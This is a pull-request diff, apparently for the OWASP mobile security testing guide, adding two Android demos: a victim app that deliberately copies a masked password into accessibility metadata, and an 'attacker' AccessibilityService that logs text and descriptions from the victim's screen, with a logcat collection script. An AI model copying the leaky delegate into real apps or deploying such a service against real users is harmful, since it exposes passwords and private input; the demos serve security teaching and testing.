Skip to content
Draft
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
30 changes: 30 additions & 0 deletions demos/android/MASVS-PLATFORM/MASTG-DEMO-0x01/AndroidManifest.xml
Original file line number Diff line number Diff line change
@@ -0,0 +1,30 @@
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android">

<application
android:allowBackup="true"
android:icon="@mipmap/ic_launcher"
android:label="@string/app_name"
android:roundIcon="@mipmap/ic_launcher_round"
android:supportsRtl="true"
android:theme="@style/Theme.MASTestApp">

<activity
android:name=".SensitiveInputActivity"
android:exported="false" />

<activity
android:name=".MainActivity"
android:exported="true"
android:theme="@style/Theme.MASTestApp"
android:windowSoftInputMode="adjustResize">

<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>

</activity>

</application>
</manifest>
32 changes: 32 additions & 0 deletions demos/android/MASVS-PLATFORM/MASTG-DEMO-0x01/MASTG-DEMO-0x01.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,32 @@
---
platform: android
title: Password Exposed Through Accessibility Metadata
id: MASTG-DEMO-0x01
code: [kotlin, xml]
kind: fail
test: MASTG-TEST-0x01
---

## Sample

The sample displays a password input whose characters are visually masked. An accessibility delegate intentionally copies the underlying plaintext into the node's content description, making the value observable through accessibility while it remains visually concealed.

{{ MastgTest.kt # AndroidManifest.xml }}

## Steps

1. Use @MASTG-TECH-0005 to install the app on a device.
2. Install and enable the attacker app from @MASTG-DEMO-0x02.
3. Open this app and tap **Start**.
4. Enter `MASTG-SECRET-1234` into the password field.
5. Use @MASTG-TECH-0009 to obtain the output generated by the attacker accessibility service.

## Observation

The password characters are visually masked in the victim app, but the attacker accessibility service reports `MASTG-SECRET-1234` in the node's accessibility metadata.

{{ ../MASTG-DEMO-0x02/output.txt }}

## Evaluation

The test case fails because the visually masked password is exposed in plaintext through accessibility metadata to an accessibility service that is not declared as an accessibility tool.
68 changes: 68 additions & 0 deletions demos/android/MASVS-PLATFORM/MASTG-DEMO-0x01/MastgTest.kt
Original file line number Diff line number Diff line change
@@ -0,0 +1,68 @@
package org.owasp.mastestapp

import android.app.Activity
import android.content.Context
import android.content.Intent
import android.graphics.Typeface
import android.os.Bundle
import android.text.InputType
import android.view.View
import android.view.accessibility.AccessibilityNodeInfo
import android.widget.EditText
import android.widget.LinearLayout
import android.widget.TextView

// SUMMARY: This sample demonstrates a visually masked password whose plaintext
// is exposed through accessibility metadata.

class MastgTest(private val context: Context) {

fun mastgTest(): String {
context.startActivity(
Intent(context, SensitiveInputActivity::class.java).apply {
addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
}
)
return "Enter MASTG-SECRET-1234 in the password field."
}
}

class SensitiveInputActivity : Activity() {

override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)

val container = LinearLayout(this).apply {
orientation = LinearLayout.VERTICAL
setPadding(48, 48, 48, 48)
}

container.addView(TextView(this).apply {
text = "Password"
textSize = 20f
setTypeface(typeface, Typeface.BOLD)
})

val passwordField = EditText(this).apply {
hint = "Enter password"
inputType =
InputType.TYPE_CLASS_TEXT or
InputType.TYPE_TEXT_VARIATION_PASSWORD

// FAIL: [MASTG-TEST-0x01] The password is visually masked,
// but its plaintext is copied into accessibility metadata.
accessibilityDelegate = object : View.AccessibilityDelegate() {
override fun onInitializeAccessibilityNodeInfo(
host: View,
info: AccessibilityNodeInfo
) {
super.onInitializeAccessibilityNodeInfo(host, info)
info.contentDescription = text?.toString().orEmpty()
}
}
}

container.addView(passwordField)
setContentView(container)
}
}
40 changes: 40 additions & 0 deletions demos/android/MASVS-PLATFORM/MASTG-DEMO-0x02/AndroidManifest.xml
Original file line number Diff line number Diff line change
@@ -0,0 +1,40 @@
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android">

<application
android:allowBackup="true"
android:icon="@mipmap/ic_launcher"
android:label="@string/app_name"
android:roundIcon="@mipmap/ic_launcher_round"
android:supportsRtl="true"
android:theme="@style/Theme.MASTestApp">

<service
android:name=".MastgAccessibilityService"
android:exported="false"
android:label="Accessibility Attacker"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">

<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>

<meta-data
android:name="android.accessibilityservice"
android:resource="@xml/filepaths" />
</service>

<activity
android:name=".MainActivity"
android:exported="true"
android:theme="@style/Theme.MASTestApp">

<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>

</activity>

</application>
</manifest>
37 changes: 37 additions & 0 deletions demos/android/MASVS-PLATFORM/MASTG-DEMO-0x02/MASTG-DEMO-0x02.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,37 @@
---
platform: android
title: Accessibility Service Reading Sensitive Input
id: MASTG-DEMO-0x02
code: [kotlin, xml]
kind: attack
test: MASTG-TEST-0x01
---

## Sample

The attacker app implements an `AccessibilityService` that is not declared as an accessibility tool. It observes the MASTestApp package and logs text and other accessibility metadata exposed by its nodes.

Note: the service's `AccessibilityServiceInfo` metadata resource is provided through `filepaths.xml`, reusing the resource file that the demo build automation already supports replacing. This is a workaround: the underlying resource being replaced is not related to file paths, and ideally the build automation should be extended with a dedicated `accessibility_service_config.xml` file.

{{ MastgTest.kt # AndroidManifest.xml # filepaths.xml }}

## Steps

1. Install the attacker app on the device (@MASTG-TECH-0005).
2. Open the attacker app and tap **Start** to open Android Accessibility settings.
3. Enable the attacker accessibility service.
4. Clear the previous log output with `./run.sh clear`.
5. Open @MASTG-DEMO-0x01, tap **Start**, and enter `MASTG-SECRET-1234`.
6. Run `./run.sh` to save the accessibility service output.

{{ run.sh }}

## Observation

The accessibility service receives the victim app's accessibility node and reports the secret in its content description.

{{ output.txt }}

## Evaluation

The test case fails because `MASTG-SECRET-1234` is available in plaintext to an accessibility service whose `isAccessibilityTool` property is `false`.
107 changes: 107 additions & 0 deletions demos/android/MASVS-PLATFORM/MASTG-DEMO-0x02/MastgTest.kt
Original file line number Diff line number Diff line change
@@ -0,0 +1,107 @@
package org.owasp.mastestapp

import android.accessibilityservice.AccessibilityService
import android.content.Context
import android.content.Intent
import android.provider.Settings
import android.util.Log
import android.view.accessibility.AccessibilityEvent
import android.view.accessibility.AccessibilityNodeInfo

// SUMMARY: This attacker app uses a non-tool AccessibilityService to inspect
// accessibility data exposed by the victim MASTestApp.

class MastgTest(private val context: Context) {

fun mastgTest(): String {
context.startActivity(
Intent(Settings.ACTION_ACCESSIBILITY_SETTINGS).apply {
addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
}
)
return "Enable Accessibility Attacker, then exercise the victim app."
}
}

class MastgAccessibilityService : AccessibilityService() {

companion object {
private const val TAG = "MASTG-A11Y"
private const val TARGET_PACKAGE = "org.owasp.mastestapp"
}

override fun onAccessibilityEvent(event: AccessibilityEvent?) {
if (event?.packageName?.toString() != TARGET_PACKAGE) {
return
}

logEvent(event)

rootInActiveWindow?.let {
logNode(it, 0)
}
}

override fun onInterrupt() = Unit

private fun logEvent(event: AccessibilityEvent) {
val text = event.text
?.joinToString(separator = " | ")
.orEmpty()

val description = event.contentDescription
?.toString()
.orEmpty()

if (text.isNotEmpty() || description.isNotEmpty()) {
Log.i(
TAG,
"event type=${event.eventType} " +
"text=$text " +
"contentDescription=$description"
)
}
}

private fun logNode(
node: AccessibilityNodeInfo,
depth: Int
) {
val text = node.text?.toString().orEmpty()
val description = node.contentDescription?.toString().orEmpty()
val hint = node.hintText?.toString().orEmpty()
val state = node.stateDescription?.toString().orEmpty()

if (
text.isNotEmpty() ||
description.isNotEmpty() ||
hint.isNotEmpty() ||
state.isNotEmpty()
) {
val sensitive =
if (android.os.Build.VERSION.SDK_INT >= 34) {
node.isAccessibilityDataSensitive
} else {
false
}

Log.i(
TAG,
"depth=$depth " +
"class=${node.className} " +
"password=${node.isPassword} " +
"sensitive=$sensitive " +
"text=$text " +
"contentDescription=$description " +
"hint=$hint " +
"state=$state"
)
}

for (i in 0 until node.childCount) {
node.getChild(i)?.let {
logNode(it, depth + 1)
}
}
}
}
2 changes: 2 additions & 0 deletions demos/android/MASVS-PLATFORM/MASTG-DEMO-0x02/config.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
package: org.owasp.mastestapp.attacker.accessibility
app-name: Accessibility Attacker
9 changes: 9 additions & 0 deletions demos/android/MASVS-PLATFORM/MASTG-DEMO-0x02/filepaths.xml
Original file line number Diff line number Diff line change
@@ -0,0 +1,9 @@
<?xml version="1.0" encoding="utf-8"?>
<accessibility-service
xmlns:android="http://schemas.android.com/apk/res/android"
android:accessibilityEventTypes="typeAllMask"
android:accessibilityFeedbackType="feedbackGeneric"
android:canRetrieveWindowContent="true"
android:isAccessibilityTool="false"
android:notificationTimeout="0"
android:accessibilityFlags="flagReportViewIds|flagIncludeNotImportantViews" />
9 changes: 9 additions & 0 deletions demos/android/MASVS-PLATFORM/MASTG-DEMO-0x02/output.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,9 @@
PENDING: this output has not yet been captured from a real device/emulator run.

Replace this file with the actual `adb logcat -s MASTG-A11Y:I` output obtained by:
1. Building both MASTG-DEMO-0x01 and MASTG-DEMO-0x02 with the mas-app-android base app.
2. Installing both APKs on the same device/emulator.
3. Enabling the "Accessibility Attacker" service in Android Accessibility settings.
4. Running `./run.sh clear`, exercising MASTG-DEMO-0x01 (entering MASTG-SECRET-1234), then running `./run.sh`.

Record the Android version, IDE version, and device/emulator used, per the demo authoring requirements.
10 changes: 10 additions & 0 deletions demos/android/MASVS-PLATFORM/MASTG-DEMO-0x02/run.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,10 @@
#!/usr/bin/env bash

set -euo pipefail

if [ "${1:-}" = "clear" ]; then
adb logcat -c
exit 0
fi

adb logcat -d -s MASTG-A11Y:I '*:S' | tee output.txt
Loading
Loading